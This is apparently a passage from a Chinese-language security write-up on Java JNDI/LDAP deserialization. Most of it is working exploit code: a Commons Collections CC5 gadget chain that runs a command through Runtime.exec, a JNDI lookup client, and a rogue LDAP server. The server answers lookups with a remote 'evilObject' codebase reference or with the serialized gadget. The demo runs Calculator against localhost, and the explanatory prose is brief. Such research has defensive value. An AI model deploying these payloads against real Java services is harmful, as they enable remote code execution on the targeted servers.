static byte[] getpayload() throws Exception {
InvokerTransformer invokerTransformer2 = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
InvokerTransformer invokerTransformer1 = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null});
InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2};
Transformer keyTransformer = new ChainedTransformer(transformers);
LazyMap fistrmap = (LazyMap) LazyMap.decorate(new HashMap(),keyTransformer);
fistrmap.put("fistrmap",1111);
TiedMapEntry tiedMapEntry = new TiedMapEntry(fistrmap,"nono");
Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
Constructor<?> o = aClass.getDeclaredConstructor(Object.class);
o.setAccessible(true);
Object o1 = o.newInstance(11);
Field val = aClass.getDeclaredField("val");
val.setAccessible(true);
val.set(o1, tiedMapEntry);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o1);
oos.flush();
byte[] serializedData = bos.toByteArray();
return serializedData;
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
最後到到 readObject 進行反序列化,var0 就是序列化資料
反序列化 2#
除了上面 if 處存在反序列化,Obj#decodeObject
後面還有一處存在反序列化:
進入decodeReference
,
在低版本 jdk 中也分析過這裡,包裝了一個包含遠程惡意類的 Reference 對象,然後 lookup 進行遠程加載,這裡主要是後面存在反序列化的點:
成功反序列化
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", CC5.getpayload());
// } catch (Exception exception) {
// exception.printStackTrace();
// }
// Payload3: 返回序列化 Gadget
e.addAttribute("javaClassName", "foo");
try {
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
} catch (Exception ex) {
throw new RuntimeException(ex);
}
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
參考文獻#
zjj